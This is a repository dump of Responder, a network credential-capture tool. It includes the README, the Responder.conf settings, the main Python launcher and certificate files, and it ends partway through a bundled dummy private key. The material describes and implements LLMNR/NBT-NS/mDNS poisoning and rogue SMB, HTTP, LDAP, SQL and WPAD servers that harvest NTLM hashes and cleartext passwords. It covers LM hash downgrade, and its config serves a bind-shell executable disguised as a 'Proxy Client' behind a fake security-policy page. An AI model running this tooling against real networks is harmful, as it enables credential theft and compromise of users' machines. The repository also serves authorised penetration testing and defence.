├── .gitignore
├── LICENSE
├── README.md
├── Responder.conf
├── Responder.py
├── certs
├── gen-self-signed-cert.sh
├── responder.crt
└── responder.key
├── files
├── AccessDenied.html
└── BindShell.exe
├── fingerprint.py
├── logs
└── .gitignore
├── odict.py
├── packets.py
├── poisoners
├── LLMNR.py
├── MDNS.py
├── NBTNS.py
└── __init__.py
├── servers
├── Browser.py
├── DNS.py
├── FTP.py
├── HTTP.py
├── HTTP_Proxy.py
├── IMAP.py
├── Kerberos.py
├── LDAP.py
├── MSSQL.py
├── POP3.py
├── Proxy_Auth.py
├── SMB.py
├── SMTP.py
└── __init__.py
├── settings.py
├── tools
├── BrowserListener.py
├── DHCP.py
├── DHCP_Auto.sh
├── FindSMB2UPTime.py
├── FindSQLSrv.py
├── Icmp-Redirect.py
├── MultiRelay.py
├── MultiRelay
│ ├── RelayMultiCore.py
│ ├── RelayMultiPackets.py
│ ├── __init__.py
│ ├── creddump
│ │ ├── CHANGELOG
│ │ ├── COPYING
│ │ ├── README
│ │ ├── cachedump.py
│ │ ├── framework
│ │ │ ├── __init__.py
│ │ │ ├── addrspace.py
│ │ │ ├── newobj.py
│ │ │ ├── object.py
│ │ │ ├── types.py
│ │ │ └── win32
│ │ │ │ ├── __init__.py
│ │ │ │ ├── domcachedump.py
│ │ │ │ ├── hashdump.py
│ │ │ │ ├── lsasecrets.py
│ │ │ │ └── rawreg.py
│ │ ├── lsadump.py
│ │ └── pwdump.py
│ └── relay-dumps
│ │ └── .gitignore
├── RunFinger.py
├── SMBFinger
│ ├── Finger.py
│ ├── __init__.py
│ └── odict.py
└── odict.py
└── utils.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Responder logs
2 | *.db
3 | *.txt
4 | *.log
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Responder.py #
2 |
3 | LLMNR/NBT-NS/mDNS Poisoner
4 |
5 | Author: Laurent Gaffie https://g-laurent.blogspot.com
6 |
7 |
8 |
9 | ## Intro ##
10 |
11 | Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
12 |
13 | The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
14 |
15 | ## Features ##
16 |
17 | - Built-in SMB Auth server.
18 |
19 | Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
20 |
21 | - Built-in MSSQL Auth server.
22 |
23 | In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
24 |
25 | - Built-in HTTP Auth server.
26 |
27 | In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
28 |
29 | Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
30 |
31 | - Built-in HTTPS Auth server.
32 |
33 | Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
34 |
35 | - Built-in LDAP Auth server.
36 |
37 | In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
38 |
39 | - Built-in FTP, POP3, IMAP, SMTP Auth servers.
40 |
41 | This modules will collect clear text credentials.
42 |
43 | - Built-in DNS server.
44 |
45 | This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
46 |
47 | - Built-in WPAD Proxy Server.
48 |
49 | This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
50 |
51 | - Browser Listener
52 |
53 | This module allows to find the PDC in stealth mode.
54 |
55 | - Fingerprinting
56 |
57 | When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
58 |
59 | - Icmp Redirect
60 |
61 | python tools/Icmp-Redirect.py
62 |
63 | For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
64 |
65 | - Rogue DHCP
66 |
67 | python tools/DHCP.py
68 |
69 | DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
70 |
71 | - Analyze mode.
72 |
73 | This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
74 |
75 | ## Hashes ##
76 |
77 | All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
78 |
79 | (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
80 |
81 | Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
82 |
83 | - Responder will logs all its activity to Responder-Session.log
84 | - Analyze mode will be logged to Analyze-Session.log
85 | - Poisoning will be logged to Poisoners-Session.log
86 |
87 | Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
88 |
89 |
90 | ## Considerations ##
91 |
92 | - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
93 |
94 | - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
95 |
96 | - For Ubuntu users:
97 |
98 | Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9`
99 |
100 | - Any rogue server can be turned off in Responder.conf.
101 |
102 | - This tool is not meant to work on Windows.
103 |
104 | - For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
105 |
106 | launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
107 |
108 | launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
109 |
110 | launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
111 |
112 | launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
113 |
114 | ## Usage ##
115 |
116 | First of all, please take a look at Responder.conf and tweak it for your needs.
117 |
118 | Running the tool:
119 |
120 | ./Responder.py [options]
121 |
122 | Typical Usage Example:
123 |
124 | ./Responder.py -I eth0 -rPv
125 |
126 | Options:
127 |
128 | --version show program's version number and exit.
129 | -h, --help show this help message and exit.
130 | -A, --analyze Analyze mode. This option allows you to see NBT-NS,
131 | BROWSER, LLMNR requests without responding.
132 | -I eth0, --interface=eth0
133 | Network interface to use.
134 | -i 10.0.0.21, --ip=10.0.0.21
135 | Local IP to use (only for OSX)
136 | -e 10.0.0.22, --externalip=10.0.0.22
137 | Poison all requests with another IP address than
138 | Responder's one.
139 | -b, --basic Return a Basic HTTP authentication. Default: NTLM
140 | -r, --wredir Enable answers for netbios wredir suffix queries.
141 | Answering to wredir will likely break stuff on the
142 | network. Default: Off
143 | -d, --NBTNSdomain Enable answers for netbios domain suffix queries.
144 | Answering to domain suffixes will likely break stuff
145 | on the network. Default: Off
146 | -f, --fingerprint This option allows you to fingerprint a host that
147 | issued an NBT-NS or LLMNR query.
148 | -w, --wpad Start the WPAD rogue proxy server. Default value is
149 | Off
150 | -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
151 | Upstream HTTP proxy used by the rogue WPAD Proxy for
152 | outgoing requests (format: host:port)
153 | -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
154 | retrieval. This may cause a login prompt. Default:
155 | Off
156 | -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
157 | authentication for the proxy. WPAD doesn't need to
158 | be ON. This option is highly effective when combined
159 | with -r. Default: Off
160 | --lm Force LM hashing downgrade for Windows XP/2003 and
161 | earlier. Default: Off
162 | -v, --verbose Increase verbosity.
163 |
164 |
165 |
166 |
167 |
168 | ## Copyright ##
169 |
170 | NBT-NS/LLMNR Responder
171 |
172 | Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
173 | email: laurent.gaffie@gmail.com
174 | This program is free software: you can redistribute it and/or modify
175 | it under the terms of the GNU General Public License as published by
176 | the Free Software Foundation, either version 3 of the License, or
177 | (at your option) any later version.
178 |
179 | This program is distributed in the hope that it will be useful,
180 | but WITHOUT ANY WARRANTY; without even the implied warranty of
181 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
182 | GNU General Public License for more details.
183 |
184 | You should have received a copy of the GNU General Public License
185 | along with this program. If not, see .
186 |
--------------------------------------------------------------------------------
/Responder.conf:
--------------------------------------------------------------------------------
1 | [Responder Core]
2 |
3 | ; Servers to start
4 | SQL = On
5 | SMB = On
6 | Kerberos = On
7 | FTP = On
8 | POP = On
9 | SMTP = On
10 | IMAP = On
11 | HTTP = On
12 | HTTPS = On
13 | DNS = On
14 | LDAP = On
15 |
16 | ; Custom challenge
17 | Challenge = 1122334455667788
18 |
19 | ; SQLite Database file
20 | ; Delete this file to re-capture previously captured hashes
21 | Database = Responder.db
22 |
23 | ; Default log file
24 | SessionLog = Responder-Session.log
25 |
26 | ; Poisoners log
27 | PoisonersLog = Poisoners-Session.log
28 |
29 | ; Analyze mode log
30 | AnalyzeLog = Analyzer-Session.log
31 |
32 | ; Dump Responder Config log:
33 | ResponderConfigDump = Config-Responder.log
34 |
35 | ; Specific IP Addresses to respond to (default = All)
36 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
37 | RespondTo =
38 |
39 | ; Specific NBT-NS/LLMNR names to respond to (default = All)
40 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
41 | RespondToName =
42 |
43 | ; Specific IP Addresses not to respond to (default = None)
44 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
45 | DontRespondTo =
46 |
47 | ; Specific NBT-NS/LLMNR names not to respond to (default = None)
48 | ; Example: DontRespondTo = NAC, IPS, IDS
49 | DontRespondToName = ISATAP
50 |
51 | ; If set to On, we will stop answering further requests from a host
52 | ; if a hash has been previously captured for this host.
53 | AutoIgnoreAfterSuccess = Off
54 |
55 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries
56 | ; to authenticate for the first time to try to get different credentials.
57 | ; This may break file serving and is useful only for hash capture
58 | CaptureMultipleCredentials = On
59 |
60 | ; If set to On, we will write to file all hashes captured from the same host.
61 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
62 | ; domain\popo, domain\zozo. Recommended value: On, capture everything.
63 | CaptureMultipleHashFromSameHost = On
64 |
65 | [HTTP Server]
66 |
67 | ; Set to On to always serve the custom EXE
68 | Serve-Always = Off
69 |
70 | ; Set to On to replace any requested .exe with the custom EXE
71 | Serve-Exe = Off
72 |
73 | ; Set to On to serve the custom HTML if the URL does not contain .exe
74 | ; Set to Off to inject the 'HTMLToInject' in web pages instead
75 | Serve-Html = Off
76 |
77 | ; Custom HTML to serve
78 | HtmlFilename = files/AccessDenied.html
79 |
80 | ; Custom EXE File to serve
81 | ExeFilename = files/BindShell.exe
82 |
83 | ; Name of the downloaded .exe that the client will see
84 | ExeDownloadName = ProxyClient.exe
85 |
86 | ; Custom WPAD Script
87 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
88 |
89 | ; HTML answer to inject in HTTP responses (before
17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
21 |
22 |
23 |
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
24 |
25 |
26 |
27 |
28 |
29 |
tag).
90 | ; Set to an empty string to disable.
91 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
92 | HTMLToInject =
93 |
94 | [HTTPS Server]
95 |
96 | ; Configure SSL Certificates to use
97 | SSLCert = certs/responder.crt
98 | SSLKey = certs/responder.key
99 |
--------------------------------------------------------------------------------
/Responder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder, a network take-over set of tools
3 | # created and maintained by Laurent Gaffie.
4 | # email: laurent.gaffie@gmail.com
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | import optparse
18 | import ssl
19 |
20 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn
21 | from threading import Thread
22 | from utils import *
23 | import struct
24 | banner()
25 |
26 | parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
27 | parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
28 | parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
29 | parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
30 |
31 | parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
32 |
33 | parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
34 | parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
35 | parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
36 | parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
37 | parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
38 | parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
39 | parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
40 |
41 | parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
42 |
43 | parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
44 | parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
45 | options, args = parser.parse_args()
46 |
47 | if not os.geteuid() == 0:
48 | print color("[!] Responder must be run as root.")
49 | sys.exit(-1)
50 | elif options.OURIP is None and IsOsX() is True:
51 | print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
52 | parser.print_help()
53 | exit(-1)
54 |
55 | settings.init()
56 | settings.Config.populate(options)
57 |
58 | StartupMessage()
59 |
60 | settings.Config.ExpandIPRanges()
61 |
62 | if settings.Config.AnalyzeMode:
63 | print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
64 |
65 | class ThreadingUDPServer(ThreadingMixIn, UDPServer):
66 | def server_bind(self):
67 | if OsInterfaceIsSupported():
68 | try:
69 | if settings.Config.Bind_To_ALL:
70 | pass
71 | else:
72 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
73 | except:
74 | pass
75 | UDPServer.server_bind(self)
76 |
77 | class ThreadingTCPServer(ThreadingMixIn, TCPServer):
78 | def server_bind(self):
79 | if OsInterfaceIsSupported():
80 | try:
81 | if settings.Config.Bind_To_ALL:
82 | pass
83 | else:
84 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
85 | except:
86 | pass
87 | TCPServer.server_bind(self)
88 |
89 | class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
90 | def server_bind(self):
91 | if OsInterfaceIsSupported():
92 | try:
93 | if settings.Config.Bind_To_ALL:
94 | pass
95 | else:
96 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
97 | except:
98 | pass
99 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
100 | TCPServer.server_bind(self)
101 |
102 | class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
103 | def server_bind(self):
104 | MADDR = "224.0.0.251"
105 |
106 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
107 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
108 |
109 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
110 |
111 | if OsInterfaceIsSupported():
112 | try:
113 | if settings.Config.Bind_To_ALL:
114 | pass
115 | else:
116 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
117 | except:
118 | pass
119 | UDPServer.server_bind(self)
120 |
121 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
122 | def server_bind(self):
123 | MADDR = "224.0.0.252"
124 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
125 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
126 |
127 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
128 |
129 | if OsInterfaceIsSupported():
130 | try:
131 | if settings.Config.Bind_To_ALL:
132 | pass
133 | else:
134 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
135 | except:
136 | pass
137 | UDPServer.server_bind(self)
138 |
139 | ThreadingUDPServer.allow_reuse_address = 1
140 | ThreadingTCPServer.allow_reuse_address = 1
141 | ThreadingUDPMDNSServer.allow_reuse_address = 1
142 | ThreadingUDPLLMNRServer.allow_reuse_address = 1
143 | ThreadingTCPServerAuth.allow_reuse_address = 1
144 |
145 | def serve_thread_udp_broadcast(host, port, handler):
146 | try:
147 | server = ThreadingUDPServer((host, port), handler)
148 | server.serve_forever()
149 | except:
150 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
151 |
152 | def serve_NBTNS_poisoner(host, port, handler):
153 | serve_thread_udp_broadcast(host, port, handler)
154 |
155 | def serve_MDNS_poisoner(host, port, handler):
156 | try:
157 | server = ThreadingUDPMDNSServer((host, port), handler)
158 | server.serve_forever()
159 | except:
160 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
161 |
162 | def serve_LLMNR_poisoner(host, port, handler):
163 | try:
164 | server = ThreadingUDPLLMNRServer((host, port), handler)
165 | server.serve_forever()
166 | except:
167 | raise
168 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
169 |
170 | def serve_thread_udp(host, port, handler):
171 | try:
172 | if OsInterfaceIsSupported():
173 | server = ThreadingUDPServer((host, port), handler)
174 | server.serve_forever()
175 | else:
176 | server = ThreadingUDPServer((host, port), handler)
177 | server.serve_forever()
178 | except:
179 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
180 |
181 | def serve_thread_tcp(host, port, handler):
182 | try:
183 | if OsInterfaceIsSupported():
184 | server = ThreadingTCPServer((host, port), handler)
185 | server.serve_forever()
186 | else:
187 | server = ThreadingTCPServer((host, port), handler)
188 | server.serve_forever()
189 | except:
190 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
191 |
192 | def serve_thread_tcp_auth(host, port, handler):
193 | try:
194 | if OsInterfaceIsSupported():
195 | server = ThreadingTCPServerAuth((host, port), handler)
196 | server.serve_forever()
197 | else:
198 | server = ThreadingTCPServerAuth((host, port), handler)
199 | server.serve_forever()
200 | except:
201 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
202 |
203 | def serve_thread_SSL(host, port, handler):
204 | try:
205 |
206 | cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
207 | key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
208 |
209 | if OsInterfaceIsSupported():
210 | server = ThreadingTCPServer((host, port), handler)
211 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
212 | server.serve_forever()
213 | else:
214 | server = ThreadingTCPServer((host, port), handler)
215 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
216 | server.serve_forever()
217 | except:
218 | print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
219 |
220 | def main():
221 | try:
222 | threads = []
223 |
224 | # Load (M)DNS, NBNS and LLMNR Poisoners
225 | from poisoners.LLMNR import LLMNR
226 | from poisoners.NBTNS import NBTNS
227 | from poisoners.MDNS import MDNS
228 | threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
229 | threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
230 | threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
231 |
232 | # Load Browser Listener
233 | from servers.Browser import Browser
234 | threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
235 |
236 | if settings.Config.HTTP_On_Off:
237 | from servers.HTTP import HTTP
238 | threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
239 |
240 | if settings.Config.SSL_On_Off:
241 | from servers.HTTP import HTTPS
242 | threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
243 |
244 | if settings.Config.WPAD_On_Off:
245 | from servers.HTTP_Proxy import HTTP_Proxy
246 | threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
247 |
248 | if settings.Config.ProxyAuth_On_Off:
249 | from servers.Proxy_Auth import Proxy_Auth
250 | threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,)))
251 |
252 | if settings.Config.SMB_On_Off:
253 | if settings.Config.LM_On_Off:
254 | from servers.SMB import SMB1LM
255 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,)))
256 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,)))
257 | else:
258 | from servers.SMB import SMB1
259 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,)))
260 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,)))
261 |
262 | if settings.Config.Krb_On_Off:
263 | from servers.Kerberos import KerbTCP, KerbUDP
264 | threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
265 | threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
266 |
267 | if settings.Config.SQL_On_Off:
268 | from servers.MSSQL import MSSQL
269 | threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
270 |
271 | if settings.Config.FTP_On_Off:
272 | from servers.FTP import FTP
273 | threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,)))
274 |
275 | if settings.Config.POP_On_Off:
276 | from servers.POP3 import POP3
277 | threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,)))
278 |
279 | if settings.Config.LDAP_On_Off:
280 | from servers.LDAP import LDAP
281 | threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,)))
282 |
283 | if settings.Config.SMTP_On_Off:
284 | from servers.SMTP import ESMTP
285 | threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,)))
286 | threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,)))
287 |
288 | if settings.Config.IMAP_On_Off:
289 | from servers.IMAP import IMAP
290 | threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,)))
291 |
292 | if settings.Config.DNS_On_Off:
293 | from servers.DNS import DNS, DNSTCP
294 | threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
295 | threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
296 |
297 | for thread in threads:
298 | thread.setDaemon(True)
299 | thread.start()
300 |
301 | print color('[+]', 2, 1) + " Listening for events..."
302 |
303 | while True:
304 | time.sleep(1)
305 |
306 | except KeyboardInterrupt:
307 | sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
308 |
309 | if __name__ == '__main__':
310 | main()
311 |
--------------------------------------------------------------------------------
/certs/gen-self-signed-cert.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | openssl genrsa -out responder.key 2048
3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
4 |
--------------------------------------------------------------------------------
/certs/responder.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
17 | u0/CRCN/lg==
18 | -----END CERTIFICATE-----
19 |
--------------------------------------------------------------------------------
/certs/responder.key:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
